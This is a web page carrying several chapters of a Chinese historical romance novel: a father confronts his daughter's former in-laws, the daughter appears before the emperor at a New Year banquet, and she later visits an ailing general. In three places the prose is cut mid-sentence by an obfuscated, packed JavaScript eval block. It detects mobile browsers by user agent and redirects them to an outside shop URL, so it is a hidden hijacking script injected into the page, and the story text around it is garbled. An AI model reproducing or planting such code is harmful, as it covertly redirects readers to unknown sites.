淑贤挑了挑眉,却反常的得意,“我现在越来越欣赏这位谢中候了。他准备了一个礼盒,里面是一支绢花,交代送信小奴的话是假托你的口,说你有礼物送我,还约我过府一叙。我一听便知不是你的做派,便懂了。” 说完,淑贤便将一个长方盝顶盒举到了露微面前。露微连忙打开,见是一支丝绢做的桃花,正与她腕上的桃花金扣玉镯呼应,绢花下还压着一张叠好的纸条—— 桃花春色暖先开,明媚谁人不看来。 “只是一句诗啊?还是像上回那样约你见面吗?”淑贤就差把脸贴在信纸上了,“也没写地方啊!” 但露微一眼既知,“是昭成寺。” “呵!你们可真行!究竟还有多少暗号啊?”淑贤抱起双臂,审视地瞧着露微。 露微一笑,捏了下淑贤鼓鼓的脸颊,“可是,我怕是出不去,现在多了个乔娘管我,父亲也餐餐叫我一起。” 淑贤皱了皱眉,倒也理解,“其实若不是谢中候这样托信,我现在也难出了。父亲知道阿姊家没事了,阿姊也回去了,便严谨得很,现在上职中间,还要遣人回来看我在不在。” 同病相怜,只能相视无奈一笑了。 然而,说话间,露微才提到的乔娘就进来了:“娘子,家翁出门了,让你在家好好休养,也留杨娘子在此消遣,好生招待。” 这真是个令人一时大起大落的消息。 …… 姚宜若自要参加春闱,每日便更加苦读,没有大事,连杨淑真也不会来打搅。然则,近来家中虽平稳,却独长兄之事牵动心肠,他也不能完全专注。 正一时走神,却有下人忽然来报,“二郎快去前庭看看,大事不好了!” 下人报得抖抖索索,也没说清何事,可姚宜若竟一心虚,手里的书都掉落在地。顿了一顿,他直接奔往前庭。 “速叫你母亲来见我!!” 姚宜若的脚步才到通往的前庭的连廊,斥责之声便已传到耳内,而放眼所见,长兄及一众下人都跪在地上,中间背手站立,面貌肃穆的人,正是赵家家翁,赵维贞。 “家母染病,不能起身,大人要怪,姚宜苏一力承担。”姚宜苏虽是面色黯淡,面上一无表情。 赵维贞满目耻恨,一拂袖便给了姚宜苏一记耳光,“你还敢称我‘大人’?!有此胆量,果然是敢三年以来,纵母虐妻,还敢私纳婢妾,以至有女,毫无夫妻之义,天下寡廉鲜耻之徒!” 字字句句骂得姚宜若胆战心惊,他从未见过长兄如此卑贱之态,可又不得不承认,这一天是该来的。 然而,姚宜苏抹了一把口角渗出的血,又抬起头来,“大人认为我寡廉鲜耻,可当初议婚,大人也不曾明说露微的身世,大人此举,岂是堂堂正正?” “阿兄!” 姚宜若万不料兄长竟能在此刻火上浇油,更是无理的。这些话从前皆是母亲华氏常说,兄长虽不亲近露微,却也从未嫌弃她的身世。兄长到底是怎么了?怎么突然变了! “伯父恕罪,我兄长不是此意!”姚宜若奔跑上前,也向赵维贞跪下了,又重重地磕头。 赵维贞瞥了二郎一眼,也向姚宜苏拂去冷冽的目色,却并未更添怒气,“好,好啊,你父亲真是养了个好儿子!你道我因何与你家定下婚约?又因何露微才满婚龄就早早出嫁?!这些,难道你母亲竟不曾告诉你?!” “伯……伯父!这是何意啊?” 姚宜若一直以为,有关露微的身世,姚家都是长兄成婚之际才知。两家议婚过礼之时,母亲也未显露嫌恶之意。若母亲原就知道,还佯装愿意联姻,便是只为贪图赵家的扶持,根本不存在被蒙蔽——那么,母亲之心,“恶毒”二字都不堪形容。 姚宜苏不语,神色错愕,原还挺直的腰背渐渐塌下。 赵维贞见状,更是冷冷一哼,“你父姚炯,名医圣手,却不幸卷入冤案,暴死狱中。我膝下唯有露微一女,托付你家,不过就是看在与你父的故交之情,露微也对你有意。原以为是天作之合,两家联姻,便如一家,共担风雨。可惜,你上不能承父志,下不能安家业,刚愎自用,无情无义,若你父在天有灵,岂不哀哉?!” 父亲姚炯当年之事,便是令姚家中道衰落的原因,可姚宜苏从未深究旧事,只当是宦海浮沉,偶遭不幸,况且也没有过多的牵连,他还有资格成为一个医官。而作为幼子的二郎,更是不明所以,对官场之事只知皮毛。 “伯父,先父之事,当年是说看疗先帝不力,后来先帝崩逝,便被问失职之罪,下了大理寺狱。这其中还有什么隐情吗?” 姚宜若一直苦恨自己晚出生了数年,不能为家中出力,此刻急切之情溢于言表。可赵维贞只是深深叹息,并不愿再往下说,他此来的目的只是为了女儿。 “姚家义绝在先,深负先人,赵家便也再无旧情可叙。若今后胆敢再行滋扰,伤害我的女儿,我便绝不会轻易放过。你该知道,你姚家如此行径,内犯家训,外触国法,我便拉你金殿面君,会有怎样的后果!” 姚宜苏当然明白会有怎样的后果,他苦心孤诣地支撑到今日,所作所为都抵不过他们的一句话。 类似的话,他已听了三回了。 …… “阿兄,父亲当年的事到底是为什么?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473085|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵维贞走后,二郎便立即问起兄长。可姚宜苏的目光里尽是一些他看不懂的意思。没等下一刻,姚宜苏突然起身,直冲母亲华氏居住的后院而去。 华氏自从经了姚宜苏的一番“深谈”,不再理家,性情已是大变,常常精神恍惚,也无法出门。见两兄弟接连闯进来,华氏猛一大惊,畏缩跌坐,不敢直视。 但姚宜苏没有任何迟疑顾惜,扶起华氏两肩便问:“母亲早就知道露微的身世是不是?父亲下狱前还同你说了什么?!” 姚宜若虽然心软些,可他们兄弟多年蒙在鼓里,竟几乎要至家门沦丧,也不能再继续糊涂着了,“母亲,你快说呀!” 然而,华氏越发被吓得浑身颤抖,唇齿震动,嘴角不停流着涎液,根本说不出一个字。 …… 赵维贞归家之时已近宵禁,他并不打算将去姚家的事瞒着露微,便将女儿唤到书房,交代了一遍。露微自然震惊,即使听到父亲只是口头警醒,也难免后怕。 “女儿不是不恨,可姚家除了姚宜苏和他母亲,还有二郎夫妻和泽兰那孩子,他们都是无辜的!况且还会牵连杨家,杨家对女儿有大恩呐!” 赵维贞看露微有些激动,不停点头安抚道:“微微,这些阿耶岂没想到?阿耶更是为了你的名声,才忍心放过。” 女子的名声自然最要紧,无论是宋容当年想给露微一个端正的出身,还是她如今成了下堂弃妇,都与名声有关。让姚家受罚很容易,可赵家也会受人关注,露微明白父亲话里的意思。 “阿耶,过去的就过去了,只要我不在乎就行。” 赵维贞叹了一声,面上却仍有深意:“这年来,你为阿耶的事奔走,幸遇晏大将军和谢尚书相助,可是,他们也知道了我们的家事。我听说,还有一位谢中候,是谢尚书的长子,晏将军的义子,他竟能为你擅闯惊驾。” 父亲居然已经关注到了谢探微,又为姚家的事提起“名声”,露微顿时心中暗惊,“阿耶,想说什么?” 赵维贞抬手抚着女儿的头,眼中竟闪出泪光,“阿耶十分不想让你再离膝下,前车之鉴,阿耶实在心有余悸。” “可,可是,”露微不曾想会这样突然地和父亲说起谢探微,实在也没准备好,“父亲尚未见过他,他不一样!” 赵维贞愣了一下,亦是一惊,“你果然……” “是,女儿喜欢他。”露微含泪点了点头,“他若不言,女儿也不曾想,可等他说了,女儿却发现自己早就想过了。” 赵维贞沉默了半晌,极力调息,缓缓又道:“那姚宜苏尚且是阿耶从小看大的,却也是知人知面不知心,更何况这位谢公子,阿耶难知底细。谢家累世豪门,母亲又是郡主,牵扯宗室显贵,人情何其复杂,若当真将你许婚,你便是高嫁,他更是要承续祖业的长子,你让阿耶如何放心?” 露微很显然还没有想到这么深,“但他不是在谢家长大的,素来与晏将军最亲,将军并非俗人,可以为他做主。” 这番反驳无力得很,露微越说声音也越低,赵维贞看着这样的女儿,唯余苦涩一叹。 “他若一日遣媒提亲,阿耶当真会不许么?” 似乎是无需再问的话,可露微想起谢探微曾说过多次,“等你父亲回京,就去你家提亲”,她便还想为这句话再讨个余地。 赵维贞没有回答。 27.宫宴 原本一时见不到谢探微并不是什么天大的事,但知道父亲的心意后,露微的感觉就不同了。然而,也不容她深思苦虑几天,真有一件天大的事发生了—— 正月初三日,天子赐宴芙蓉殿,禁中内官亲到赵家传旨,不仅是赵维贞要参加,连露微也算上了。 露微虽然见过天子,却是那样的“见过”,自是有些紧张。而且,天子赐宴官员和家眷,其实也算平常,却没有提到身有官职的赵启英,只是她一个,这也有些奇怪。 不论心情何样复杂,初三当日,露微只能遵旨随父进宫。 所有官员的车驾只到皇城两侧偏门停住,下车后便依次疏名列到,由守门军士盘查后才放行。进门后便是皇城,又走了许久才到天子居住的明光宫。 直到此处,露微所感受到的都只有威严之气,却没想到一进宫城,来到了天子专门的御宴宫,气氛立马就变了。 当此盛宴,自殿宇内至廊庑间,再至殿前宽阔的广场,处处都设满了席位。席间早已开始了乐舞百戏的表演,数以百计的美貌少年在周围排开,鼓乐吹笙,演奏着贺岁的祥和之乐。 然而,宫宴毕竟不是寻常家宴,座次很有讲究。露微方站在广场上,已见诸多内官前来引路,紫朱大员的位置都在殿内,外头则多是女眷,也自由得多。不过,赵维贞回京后尚未授官,露微猜不准父亲应该往哪里去。 “赵公,陛下传见,请跟随小奴去便殿。” 正看旁人时,也有一个小内官走到了他们面前,只是不去席位,而是去便殿,似乎有些神秘。露微也只能跟着去了。 便殿倒有些距离,绕过广场来到芙蓉殿后,又转了四五道连廊才到。站在门外,赵维贞直接由内官引了进去,但露微未经传召,只能在殿外等候。 廊下只有几个宫人守候,露微不算紧张,但没过片刻,一抬眼又见方才过来的廊道走来一行人,而且随着他们走近,露微竟在其中看到了谢探微。 谢探微未着戎装,自然不是戍卫宫中,也不在前面,身旁并行的是还有个小郎君。而走在二人前头的,一个衣紫袍,端肃持重,一个则穿着品阶不低的命妇礼服。 露微反应过来了,这是谢家的一家人。 “请谢尚书和郡主在此稍候,小奴进去禀报。” 人已到跟前,莫说这地方溜不掉,就算能跑,也是毫无意义,她只能屏住心里狂跳,硬低下头,更也管不了谢探微那双直勾勾且惊讶万分的眼神了。 可是—— “大郎,你看什么呢?难道这就是……赵家小女?” 露微不看别人,谢探微一时也没作声,却拦不住其他人的眼睛。李敬颜很快发现了儿子的异常,拽着他低声私语。 廊下本就空旷安静,露微离他们不足五步,于是轻轻巧巧全都听到了耳朵里。 “回母亲,正是。”谢探微替她承认了,嗓音竟透着一丝轻快。 到了这个地步,露微也着实装不下去了,皇宫大内,尊卑礼数,自是在一切之上。 “小女露微,见过谢尚书,新安郡主,尚书万福,郡主安康。”说着,露微敛束形容,端端正正地向两人下拜。 “快起来,快起来!” 露微才跪下,上半身正要俯下,却被左右各伸来的两只手搀了起来。这两只手,来自母子二人。 露微只觉脸上一热,忙将手缩了回去,又着意退后了一步。 “今日不料在此初见,你这孩子礼也太大了些。” 李氏自确认眼前小女就是露微起,目光便再没离开过,早把这个小丫头来回打量了几遍,满脸透笑。 露微只是觉得身份悬殊,礼数越周全越好,又有先前连累谢探微惊驾的事,更则心怀羞愧。可是,从李氏扶她起,言语态度竟很温和,就连并不说话的谢尚书也是一脸和蔼。 “谢尚书,郡主,二位郎君还有小娘子,陛下传见。” 随着内官的一句话,所有情绪都被压下。露微跟在谢家之后走了进去,也跟随行礼。 便殿上位自是坐着天子,露微没有直视,但除了父亲,她也瞥见了一个少年,姿容俊秀,气度矜贵。正疑惑少年身份时,只听谢父口呼“太子殿下”。 原来,国朝的皇太子是这样半大的一个孩子。 “赵卿,朕没记错的话,你家这小女是叫露微吧?” 露微正暗自打量殿内的情形,却不料,最不敢看的天子竟也在打量她。而这间隙,所有人都已入席,只剩她一个人站在中央了。 “回陛下,小女正是此名。”赵维贞答道。 即使有父亲挡在前头,露微此刻也浑身僵住了,心里只想:天子不会是要秋后算账吧? 然而,并没有,“那露微,你这两字何解啊?” 这是让她自己答的意思? 露微愣怔了片刻,目光一点点试探着抬起,又在与天子对视前的一瞬,整个人跪拜下去: “回陛下,小女是九月初三戌时出生,是夜正当微月清辉,故父母择取诗句‘松际露微月,清光犹为君’中的‘露微’二字,为小女命名。” 一股气冲上头,说完了反而轻松了,露微终于将脸抬了起来。一见,天子竟是文质彬彬的面貌,但眉目英俊,却也不乏威仪。 看来,她上回真是一点也没记住天子的容貌。 “嗯,是个好名字。”天子看着她微微点头,脸上含笑,却又转向了谢家,“露微,探微,听上去倒像是兄妹,也算是一段缘分,难怪你要帮人家出头呢!” 天子的语调一直很随和,而这番名字论,早被陆冬至点明过,露微并不觉得有什么。然而,谢探微却忽然站了起来: “回陛下,名字只是巧合,臣不缺妹妹。” 话音未落,谢道元立马拦住了儿子,竟至于上前告罪:“陛下,犬子无状,是臣教导无妨,请陛下治罪。” 露微先前只从谢探微的描述里知道,他父亲是个严厉的人。现下一看,又是天子不怒他先请罪,还真是个耿直之人。再看谢探微,这人脸上满是倔强,又向她拂来深深的目光。 露微只有轻轻摇头,略略示意。 “今日是新岁喜宴,又没有外人,尚书不必如此紧张。”天子还是一笑,叫丁仁成亲自扶回了席位。 “是啊是啊,这都是陛下的恩典。”李敬颜也怕儿子再次受责,忙笑着圆场,背着一只手拉住谢探微也拜谢了一回。 露微忽然明白了,谢家是严父慈母,谢探微虽然年幼受苦,却终究是家门看重的长子。可见,父亲赵维贞分析得很对,她与谢探微的婚事恐怕不能一帆风顺了。 “露微啊。” 不容她多思,天子竟唤起了她的名字,“是,陛下。” “今日是朕赐宴,你也当是第一回入宫,可你这身装扮倒简素得很,你这个年纪,难道没有争奇斗艳之心?” 露微穿的是一身浅青的襦裙,梳螺髻,只以几支银钗固发,妆面也是淡淡扫过,确实清素得还不如守门的宫婢。但她一向如此,而今天也是刻意不曾打扮。 露微心内从容,开口之前先看向了父亲,“罗衣何飘飘,轻裾随风还,女子装扮自然都是从衣饰上下功夫,小女也有爱美之心。然则,赵家蒙陛下新赦,父亲亦尚未复官,小女便只是庶人之女,如此装扮,才是合乎身份。” 天子略皱了皱眉,瞥了眼赵维贞,又问:“你父亲虽未复官,可朕也请他为座上之宾,你如此说,难道是要为你父亲求官么?” “陛下,小女生性直率,并非此意啊!” 天子一句“求官”,忽然气氛就变了。赵维贞连忙跪了下去,就连谢道元也急要发言,谢探微更是又站了起来。 可是,露微却没有慌张,脑中急思,跪地又道:“陛下!小女还没有说完。” 天子清了清嗓子,眼中尽是揣测之意:“那你说下去。” “小女在外听闻,陛下亮成天工,偃兵事而修文德,国子监祭典克复古制,皇太子亲从齿胄,便是向天下昭示,国朝尚德,君王重礼。所以,父家新赦,皆是陛下殊恩,白衣赐宴,更乃陛下盛德。而盛德之下,小女自不必为父亲求官,能以白衣得君王礼遇,满朝未有,又何必名系官位,泯然众人呢?” 话音落下,殿内上至君王,下至侍者,看向露微的表情都出奇的一致,每一双眼睛都瞪大了。 她不明白自己有没有平息天子的质疑,只向父亲赵维贞挤眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483919|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求救,可天子却忽然抚掌大笑起来。 便殿里只是正宴前的一场私宴,露微直到这场小宴结束,都没弄清楚天子在笑什么,大家又为何这么看她。 …… 殿前广场边沿的一个席位上,露微正趴着打瞌睡。 正宴尚在申时之后,自便殿出来,父亲和谢家都随皇帝进了芙蓉殿正殿,她不喜拘束,就自己找了角落呆着,吃了两杯屠苏酒,一时竟有些犯困。 也不知做梦还是迷糊着,她忽觉身上一重,耳边就听到:“微微,别睡。” 感觉和声音都太真切了,她立马竖了起来,竟一见,是谢探微蹲在旁边,往她身上披了一件氅衣,“你怎么来了?!” 久别相思,乍见之喜,都写在谢探微的脸上,他却不答,拉起露微,一直将人带到了远处的阑干下,“微微,我很想你。” 露微早已没了困意,既惊于他的举动,也心潮暗涌,“谁许你这么叫我的?只有阿耶阿娘才这么叫我。” 谢探微一笑,“我就是刚刚听你父亲与你说话,新学的,好听。” 露微抿了抿嘴,忽而想起天子的名字论,问道:“刚刚陛下说我们的名字像兄妹,陆冬至也说过,你那时倒急什么?差点又要给自己讨打了吧?” “你竟然不懂?”谢探微忽然严肃起来,“陛下说能和冬至说一样吗?万一他真让我们认兄妹,我还怎么去你家提亲?” 露微愣了愣,思绪定在了“提亲”二字上,“你能不能先不要想提亲的事,缓一缓再说?” “为何?”谢探微的脸色又暗下一层,目露疑色,“你是在怕什么吗?是我父母吓着你了?我原本是要和阿父同来的,但他说宫宴人多事杂,恐有不安,非要亲自守备。我是到宫门才遇上母亲他们的,我……” “不是!”见这人越说越自责,也说远了,露微只好打断,“你才也见了,我阿耶尚未复官,内事外务都待安排,所以需要时间。” 她终究不忍直言,想着,只要此事未定,便有余地。 谢探微竟松了一大口气,将氅衣下露微的双手紧紧握住,“算来也才旬日不见,可你走得太急,我就慌了。又见你在陛下面前也那样能说会道,就更心虚了。” “心虚?”露微倒正想知道众人为何那般反应,“我都没心虚,只是实话实说啊,你知道陛下为什么笑?” 谢探微抿嘴点头,一副乖样,“出口成章,怀珠抱玉,才比班婕妤。” 露微听来一愣,将脸侧去,耳根暗暗发热,“你快走吧!”又把氅衣扯了下来,“还你!” 不知是不是动作急了,还是廊下吹了冷风,露微说完突然打起嗝来,口中泛出酒气,忙捂住了嘴。 “你还敢饮酒?”谢探微立马闻出了味,把氅衣披回去,拍着的背给她理气,“难怪大白天要睡觉呢!” 露微一时说不了话,只狠狠瞪了他一眼。 谢探微自是关心之意,见露微难受得眼眶泛红,岂不心急,“好好好,我不说了……” 忽然,阑干外传来一阵响动,似是有什么大的阵仗,两个人都不禁上前探看—— 正对芙蓉殿的宫道上,缓缓走上一对男女。 男人轩昂挺拔,身着大袖绛纱的礼服,面含微笑,神态祥和。而他身畔的女子,容貌殊为娇丽,通身是钿钗礼衣的穿戴,发髻上的钿钗竟是九钿。 “这是哪一家亲王和王妃么?” 露微单看他们的穿着,知道绝非一般人物。而这个时辰已将开宴,百官文武已到了半日,他们却姗姗来迟,还一副不急不缓的样子,着实令人诧异。 谢探微是认得的,却皱起了眉,“那就是楚王,李元珍。” 露微惊恐得睁大了眼睛:“他不是一直在南营州么?那旁边的女子就是——舒青要……” 谢探微点头,抚了抚露微的肩,“微微,别怕,你父亲的案子尚且不知是不是舒家下手,或是与楚王相关,但封府在外的亲王能够回京,自然是陛下允准的,我们只能静观其变。” 赵家平安之后,露微便没再细究父亲的案情,也正如谢探微所说,他们也做不了什么。 “我不怕,陛下是明君,自是能明察秋毫。” 28.妻儿 宫宴结束已是深夜,谢探微跟随父母的车驾来至谢府门前,却还是不进去,行礼告辞又折回了两条街外的将军府。 “新岁年节,阿兄怎么也不回来住几天,况且我才见了,晏将军亲在宫门站班,也不会回将军府。” 一路进门,谢探隐嘴里嘀咕,声音或大或小,却都打搅不了走在前头的父母。而父母兴致盎然,口中也在不停说着。 “竟不知赵家如何教出这样的女儿的,生得出挑就罢了,说得那番话,我几辈子也学不来!看来我儿果是眼光不俗。”李氏是最掩不住兴奋的,自宴席间就是这般。 谢道元虽沉稳得多,可眼中惊奇之意只多不少,“阿颜,你可知,那孩子所说正是陛下克复古制的用意,朝堂百僚,恐也有至今不解圣意的,但她情急之下,轻轻松松,竟说得无不精准!就算当初我也同你那犬子明说过,他也是昏头昏脑的。” “我那犬子?不是你的犬子?什么话!”李敬颜难得见丈夫夸人,可又舍不得夸自己儿子一句,而虽则嗔怪,却也合不拢笑口。 谢道元挥了挥手,又道:“我是说实话,我家是不如人家,那孩子若是个男儿,必是朝廷栋梁。你看她面君的态度,有理有据,却不是强辩,直言圣德,却毫无奉承,高洁之意,有古君子风度。” 说话间,一家人已进了中堂,下人奉茶稍歇,李氏这才见小儿子还跟着,便问道: “你还不去睡?” 谢探隐一脸沉顿,两眼来回看着父母,说道:“阿耶阿娘如此喜欢赵家小女,是不是就要给阿兄提亲去了?” 夫妻二人不是不知道谢探微和露微的缘故,只是还不曾虑到此处,相视一眼,李氏道:“你阿兄岂不比你着急?” 谢二郎点了下头,眼珠转动,说道:“是啊,从便殿出来就没见人,宴席虽非朝堂,可在宫里未免失礼,我都一直担心着阿兄,怕他又有所冲撞。” 谢探微的行动自也不止二郎一人瞧见,但夫妻却也没提。此刻说来,李氏不免紧张,哪壶不开提哪壶,怕又要触动谢道元的脾气。 “你下去吧,少说这些。”李氏一面嗔怪小儿子,也不免瞥眼谢道元的脸色,倒还算平静。 然而,谢探隐见父亲并不表态,又道:“我知道,阿兄的婚事是家中最要紧的大事,可我又听说,赵家女儿其实并非亲女,还曾嫁过人。我们家虽无俗见,可阿兄若娶了她,将来难免受人闲言,赵家女自然也会受委屈的。阿耶阿娘该未雨绸缪才是。” 夫妻两人既然还没想过提亲的事,便更没有细究过赵家的这些家事,可听完这几句话,倒也不免引动深思。 沉默片刻,李氏转过脸看向了谢道元,“德初,二郎说得有理,你是怎么看?” 谢道元深提了口气,似也经过了一番思索,开口却是对准了二郎:“下月便是春闱,你看看你有几分心思还在读书上!” …… “娘子这是要往哪儿去?可同家翁说了没有?” 一早,露微便要出门,但在院子里就遇上了乔晴霞。她是真有其事,倒也不怕乔氏约束,直接解释道: “昨日贤儿上街遇见了将军府的人,说晏将军病了,便传话过来。我曾受将军恩遇,此时应该去探望,我和阿耶说了,他知道的。” 乔晴霞微微一顿,“他不是大将军么,看上去十分健壮,怎么突然病了?” 露微听出了质疑,不解道:“人食五谷,哪有不生病的?再健壮也是血肉之躯啊。” 乔氏一笑,“我的意思是,宫宴那日我在皇城外候着,还见将军门下站班呢,那时看着并无异常,这才几天。” 提到这个,露微想起那天谢探微说过,原本晏令白也应来便殿,却非要亲自守备,“将军身负重任,新岁年节守卫事大,他一定是用心过度,累病了。” 乔氏轻叹了声,叫丹渥拿来氅衣为露微加上,“那便去吧,早去早回,天气还冷着呢。” 露微一笑点头,没再停留。而乔氏望着露微离去,却难免忧从中来:晏令白就是露微生父之事,如今世上只有她和晏令白知晓。她虽已警告过晏令白,可若露微长久与之来往,也总怕晏令白会守不住这个秘密。 她觉得,露微现在过得很好,再也不必另起风浪。 …… 露微出了府门,杨淑贤已在等她,于是两人上了一驾马车。其实露微也不知淑贤要去,想想没理由,便问: “你是不是又在家呆不住了,借我这个由头出来?” 淑贤却咂咂嘴:“一半一半吧!我阿兄快回来了,他也几年不在家住了,院子里缺东少西的,我就是因为近日总出门采买,昨天才偶遇陆冬至,知道将军生病之事。不过我今天没事,就想跟你一起去,我还给将军带了礼物,又不空手去。” 露微上车前已看到杨家小仆手里抱着礼盒,反正淑贤之前也去过将军府多次,她并非觉得不妥,只问:“我上回见你阿兄还是淑真和仲芫成婚那日,都三年了,他如今是调任回京?” “没错!”淑贤颇是骄傲地一笑,“他从为官起就一直在苏州,长姊成婚也是告假回来,现在总算升了吏部员外郎,能一家团圆啦。” 露微听来惊讶:“那岂不是和我阿兄同部为官了?没记错的话,他们还是同岁同榜的进士,只是我阿兄名次高些,未曾外任。” 淑贤耸了耸肩:“是啊,虽然你阿兄人品不行,但当年,他和我阿兄两人可是打破前例的,二十二岁的进士郎,朝野谁不称羡?可现在风水轮流转,我阿兄成了他的上司了。” 露微没忍住,笑出声来。赵启英回京后授官吏部主事,八品之职,而杨家长兄杨君游外任了五年,如今摇身一变,就是从六品了。 “不过,他们现在都在谢尚书手下为官,我可得好好巴结着阿姊,不然咱们结个金兰?让赵伯父收我作义女吧?” 露微白眼回之。 …… 到了将军府,两人才一下车,没想到陆冬至正在门下,一问才知,是刚送走陛下遣来的医官。晏令白病的这几日,他和谢探微都是间错开上职,保证一人能侍奉在侧。 “阿姊,将军也四五十的年纪了吧,为何没有自己的妻儿家人在身边?未免凄凉孤寂了些。” 一路进到中堂,淑贤小声在露微耳边询问,可露微也只能摇头,这个问题她早就疑惑过了。 “将军到底是什么病?严重吗?”露微问陆冬至。 陆冬至叹气道:“其实将军体健,从前至多是战场受伤,并不大见他病。但这次断断续续倒有一个多月了,常是通宵不眠,加之年节事忙,便一下没撑住。医官看了说是肺气瘀滞,气阴耗散,是过度伤神所致,我听不懂,但应该不严重。” 看来露微猜得不算偏,大致是积劳成疾。 “陆执戟,将军的药好了。” 正说话间,下人将一碗汤药端了进来,陆冬至便要去接,被露微先了一步。 “我去吧,你也歇一歇。” 陆冬至脸上的倦容也掩不住,况且间错上职,只怕晚上也歇不了,又想来是替谢探微尽孝,露微便没有什么可迟疑的。 …… 露微熟悉将军府的布局,但也是第一次进晏令白的正院。到时,守在廊下的小奴说医官才走,将军正醒着,她才放心进去。 所见第一眼,晏令白坐在外间平榻上,一手扶在凭几,一手撑着额头,面色灰沉,双目低垂。 “将军。”四下太过安静,露微更着意放轻了声音。 但晏令白仍是一惊,病容上亮过一丝警觉,“露……你怎么,来了?”话语出口,每顿挫一下,就柔缓一层。 露微一笑,稍解释了几句,将药碗端到了晏令白面前,“将军曾同我说过,金吾卫是守护天子的紧要之师,连天子亲率的羽林卫都无法替代,那将军自也是无可替代的,就请将军善保千金之体,早归紧要之师。” 晏令白一时未动,晦暗的眸子里渐渐有了些光,又看了片刻才接药喝下,“外头这样冷,你何必跑一趟呢?” 药碗是温热的,但露微通红的双手却很明显。 “将军对我有恩,阿耶也说我该来。”露微将空碗端到一侧,又顺手挑了挑碳炉,“从前阿耶生病,我也是这样侍疾的。将军若不嫌弃,就将我看做陆冬至,谢探微他们一样吧。” “你阿耶能有你这样的孩子,是常人不能有的福气。”晏令白说着侧转了脸,隐藏起不能显露,也生怕显露的情绪。 不知是不是被淑贤进门时那一问勾动了心思,露微越发觉得晏令白的身影过于落寞,她很想解惑。 “将军,”她在案前矮凳坐下,稍稍仰望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498697|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我一直想问,为何将军身边只有谢探微一个义子,将军的妻儿呢?难道,他们怕咸京不惯,就留在甘州了?” 晏令白本是沉默,这样的疑问就更让他陷入了绝境,可露微双眸透来的澄澈,又教他不忍回避: “甘州地僻,无缘娶妻。” …… 中堂里,一自露微去了正院,淑贤便就安心等候着。可陆冬至也只站着没听露微的话去休息,眼珠左转右转,就落在淑贤身上。 “你怎么不和露微一起进去啊?” 淑贤却看着陆冬至摇头,“你啊,脑子从来不知道转弯。阿姊去侍疾,是为谢中候全孝义,他们要是哪天成了亲,将军也就是阿姊的义父。我白跟着干什么?打扰了将军养病。” 陆冬至果然才绕明白,嘿嘿一笑。这时,忽从廊下进来一个小仆,端着一只三足盘,里面盛着各色饼餤。他一见,忙接过手,亲自放到了淑贤面前: “吃吧,我才叫人去买的。” 淑贤既没见他何时嘱咐人,又惊于这个举动,倒不好意思了,“你,买这么多……专门给我买的?” 陆冬至点头,细数着说道:“我见你前几回来时就喜欢吃,那些也都是我买的,因为只有我喜欢吃。谢探微有时还说我,一点俸禄都花在嘴上了。你看你能叫上名吗?脂花餤,骆蹄餤,还有珑璁餤,这三样我最爱了。” 淑贤原是在听,渐渐就听不进了,目光直愣愣地看着专心数饼的这人,“是你的俸禄,自然由你支配,别管别人怎么说。我觉得,这样挺好的。” 陆冬至沉浸其中并没听清,一抬眼:“杨娘子,我可以吃一个吗?其他的都给你。” 淑贤咬唇忍笑,拿起一个举了过去,“家人和阿姊都叫我贤儿,你又何必饶舌。” 陆冬至双手接下,“贤儿,那我吃了?” “吃吧,我们一人一半。” …… 约莫一二时辰,服侍了晏令白用饭,露微便退了出来。可回到中堂一见,陆冬至趴在案上睡着了,身上盖着的氅衣分明就是淑贤的。而淑贤两手撑着脸,眼睛就盯着陆冬至。两人中间还隔了个空空的三足盘。 “他就在这儿睡?”露微走去拍了下淑贤。 淑贤一惊,忙作嘘声,将露微拉远了好几步,“虽说将军并不严重,但他们都很担忧,连着几天没有睡过好觉。我叫他回房去,他又怕我一人冷落,就这样了。” 露微瞥眼陆冬至,一笑,“冬至是个心地纯真的人,想来是和你有相似之处的。” 淑贤也看去,圆润的脸颊上泛出淡淡的粉红。 然而,宁静的气氛并未延续下去,不一会儿,笃笃的脚步声就将谢探微的人带到了跟前。 “微微!”他口中呵着冷气,也似稍喘,急切而更兴奋。 露微不期然能看见他,只是未及一语,陆冬至先被吵醒了,揉着眼睛,抓起身上的氅衣,懵头懵脑。 “走,带你出去醒醒。” 杨淑贤向露微挤了挤眼,很快拎着陆冬至出去了。 也不及二人走远,谢探微佩剑一放,立马就将露微牵住了,虽是刚从寒风中走来,掌心却热得出汗,“我才见门外马车,就知道一定是你来了!” 露微抿笑,“我可不是为你来的。” 谢探微不说话,眼中尽是笑意,慢慢将露微两只手都合拢在自己掌中,“反正你来了。” 见面自是两心愉悦的,但露微亦从这人面上看出和陆冬至一样的疲态,细想之下,说道: 